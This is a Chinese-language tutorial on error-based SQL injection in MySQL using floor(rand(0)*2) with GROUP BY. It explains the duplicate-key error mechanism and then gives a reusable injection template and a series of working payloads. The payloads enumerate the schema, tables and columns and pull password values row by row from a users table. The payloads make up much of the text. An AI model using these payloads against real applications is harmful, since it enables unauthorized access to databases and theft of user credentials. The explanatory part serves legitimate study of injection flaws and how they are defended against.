函数解释
floor() 函数,向下取整
rand() 函数,取随机数,若有参数x,则每个x对应一个固定的值,如果连续多次执行会变化,但是可以预测
floor( rand( 0 ) * 2 ) 产生的随机序列为011011…
报错原理
利用数据库表主键不能重复的原理,使用 GROUP BY
分组,产生主键key冗余,导致报错
已知表users如下
ID | NAME |
---|---|
1 | AA |
2 | AA |
3 | BB |
sql
语句
select count(*) ,name from users group by name;
在进行分组运算的时候会根据name属性,创建一个虚拟表
从上至下扫描,当扫描到第一行NAME === AA 的时候
当前虚拟表没有该字段,那么插入此虚拟表,count = 1
count | name |
---|---|
1 | AA |
当扫描到第二行 NAME === AA 的时候
当前虚拟表存在该字段,那么count + 1
count | name |
---|---|
2 | AA |
当扫描到第三行 NAME === BB 的时候
当前虚拟表不存在该字段,执行插入,count = 1
count | name |
---|---|
2 | AA |
1 | BB |
那么利用floor( rand( 0 ) * 2) 这个函数的返回值,进行分组,因为序列为011011…
那么构建SQL语句
SELECT COUNT(*),floor(RAND(0)*2) as x from users GROUP BY x;
查询第一条记录,别名x 产生 键值0
,当键值 0
不存在虚拟表时,执行插入,此时别名x是一个函数,是变量,在执行插入时,按照GROUP BY
分组之时 又要执行floor函数,得到1 ,故向虚拟表中插入键值1,count = 1
COUNT | x |
---|---|
1 | 1 |
查询第二条记录,别名x产生键值1,虚拟表中存在1,则令count + 1 = 2
COUNT | x |
---|---|
2 | 1 |
查询第三条记录,别名x产生键值0,键值0不存在临时表,执行插入,别名x再次执行得键值1,由于1存在于临时表,那么插入之后如下表所示
COUNT | x |
---|---|
2 | 1 |
1 | 1 |
由于数据库主键唯一性,现在临时表中存在两个键值为1,主键冗余,所以报错
由于数据库报错会将报错原因展示出来,故利用报错来实现注入
由上知,要保证floor报错注入,那么必须保证查询的表必须大于三条数据
约束条件
输出字符长度限制为64个字符
注入语句
and (select * from (select count(*),concat(0x7e,(操作代码),floor(rand(0)*2),0x7e)x from information_schema.tables group by x) as y)
举例
爆库
select * from users where id=1 and (select * from (select count(*),concat(0x7e,
(select schema_name from information_schema.schemata limit 1,1),floor(rand(0)*2),0x7e)x from information_schema.tables group by x) as y);
爆表
select * from users where id=1 and (select * from (select count(*),concat(0x7e,(select table_name
from information_schema.`TABLES` WHERE table_schema = database() limit 0,1),floor(rand(0)*2),0x7e)x from information_schema.tables group by x) as y);
爆列
select * from users where id=1 and (select * from (select count(*),concat(0x7e,(select column_name
from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2),0x7e)x from information_schema.tables group by x) as y);
select * from users where id=1 and (select * from (select count(*),concat(0x7e,(select column_name
from information_schema.columns where table_name = 'users' limit 1,1),floor(rand(0)*2),0x7e)x from information_schema.tables group by x) as y);
select * from users where id=1 and (select * from (select count(*),concat(0x7e,(select column_name
from information_schema.columns where table_name = 'users' limit 2,1),floor(rand(0)*2),0x7e)x from information_schema.tables group by x) as y);
爆字段
select * from users where id=1 and (select * from (select count(*),concat(0x7e,
(select password from users limit 0,1),floor(rand(0)*2),0x7e)x from information_schema.tables group by x) as y);
select * from users where id=1 and (select * from (select count(*),concat(0x7e,
(select password from users limit 1,1),floor(rand(0)*2),0x7e)x from information_schema.tables group by x) as y);
select * from users where id=1 and (select * from (select count(*),concat(0x7e,
(select password from users limit 2,1),floor(rand(0)*2),0x7e)x from information_schema.tables group by x) as y);
select * from users where id=1 and (select * from (select count(*),concat(0x7e,
(select password from users limit 3,1),floor(rand(0)*2),0x7e)x from information_schema.tables group by x) as y);